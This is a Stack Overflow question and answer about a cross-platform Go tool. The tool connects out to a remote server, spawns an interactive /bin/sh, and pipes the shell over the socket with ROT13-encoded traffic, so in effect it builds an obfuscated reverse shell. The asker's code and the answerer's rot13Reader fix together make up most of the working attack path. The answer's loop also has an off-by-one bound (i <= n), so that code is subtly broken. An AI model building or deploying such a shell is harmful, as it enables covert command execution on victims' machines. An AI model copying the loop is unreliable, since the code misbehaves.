0

The goal: I want to capture all the bytes of cmd.Stdin and process them with this rot13 function: https://play.golang.org/p/VX2pwaIqhmT

The story: I'm coding a small tool which will be cross compiled for both win/ linux, so I'm trying to make it as simple as possible. This tool connects to the server from which I can execute commands on the client.

Since I had to do the same thing for cmd.Stdout, I used this:

.......
conn, err := net.Dial(nObj.Type, nObj.TCPIndirizzo)

......

cmd := exec.Command(/bin/sh, "-i") // please keep in mind that this is an ***interactive*** 
//***shell***, and not just a simple command
                                        
cmd.Stdin = conn

cmdStdout, err := cmd.StdoutPipe() // works fine
    if err != nil {
    fmt.Fprintf(os.Stderr, "error creating shell stdout pipe: %s\n", err)

}

cmd.Stderr = conn

err = cmd.Start()
    if err != nil {
        fmt.Fprintf(os.Stderr, "error starting shell: %s\n", err)
    }
.....
err = OBFprocessStream(cmdStdout, conn) // works fine
....

Where OBFprocessStream function is based on this one: https://play.golang.org/p/j_TKZWuhGaK. Everything works fine here .

So, I tried to replicate the same thing for cmd.Stdin:

.......
conn, err := net.Dial(nObj.Type, nObj.TCPIndirizzo)

......

cmd := exec.Command(/bin/sh, "-i") 
                                        
cmdStdin, err := cmd.StdinPipe() 
    if err != nil {
    fmt.Fprintf(os.Stderr, "error creating shell stdin pipe: %s\n", err)

}

cmdStdout, err := cmd.StdoutPipe()
    if err != nil {
    fmt.Fprintf(os.Stderr, "error creating shell stdout pipe: %s\n", err)

}

cmd.Stderr = conn

err = cmd.Start()
    if err != nil {
        fmt.Fprintf(os.Stderr, "error starting shell: %s\n", err)
    }

.....
err = INOBFprocessStream(cmdStdin, conn)
....

.....
err = OBFprocessStream(cmdStdout, conn)
....

But.. cmdStdin is an Io.WriterCloser, and I don't really know what to do to capture the bytes sEGIHOsegoihszrhoiò

Can you please help me?

hyogy
  • 65
  • 1
  • 9
  • You can't capture `cmd.Stdin`, it's an *input* stream to the process, and thus an *output* stream for you. You should *write* to it, or close it. – rustyx Aug 18 '21 at 12:52
  • @rustyx thanks for the comment! What do you suggest then? The incoming input is ROT13 encoded, so it needs to decode the data. This is the scenario I have in mind: ncat server —> socat does rot13 encode of the commands --> Go tool does rot13 decode of stdin —> Go tool sends data to shell via stdin – hyogy Aug 18 '21 at 12:55
  • @rustyx little offtopic note: I totally share your point described in your profile, about the decline of SO. I share it so much that I pasted the link in my profile too – hyogy Aug 18 '21 at 13:11
  • haha, yes, it was worse 5 years ago.... – rustyx Aug 19 '21 at 11:54
  • 1
    Try `cmd.Stdin = &rot13Reader{conn}`. – rustyx Aug 19 '21 at 12:05
  • @rustyx a-m-a-z-i-n-g!(: also if with an issue, it works! The input gets correctly decoded, but somehow the "$" of the interactive shell gets truncated.. why? How can I fix that? – hyogy Aug 19 '21 at 12:32
  • @rustyx I don't know how was it 5 years ago, but the blog reflectes exactly what still happens today – hyogy Aug 19 '21 at 12:34
  • @rustyx OK, the error was how I handled server side the rot13 decoding. Please post an answer with an explanation, I will mark it as solution!(: – hyogy Aug 19 '21 at 13:22

1 Answers1

2

So it seems what you actually want is to read the data from conn, filter it with ROT13 and then pass it to cmd.Stdin (which accepts an io.Reader).

And your rot13Reader is already implementing io.Reader:

type rot13Reader struct {
    r io.Reader
}

func (r13 *rot13Reader) Read(b []byte) (int, error) {
    n, err := r13.r.Read(b)
    for i := 0; i <= n; i++ {
        b[i] = rot13(b[i])
    }
    return n, err
}

So a quick solution can be to construct a small filter chain out of it like so:

    cmd.Stdin = &rot13Reader{conn}
rustyx
  • 80,671
  • 25
  • 200
  • 267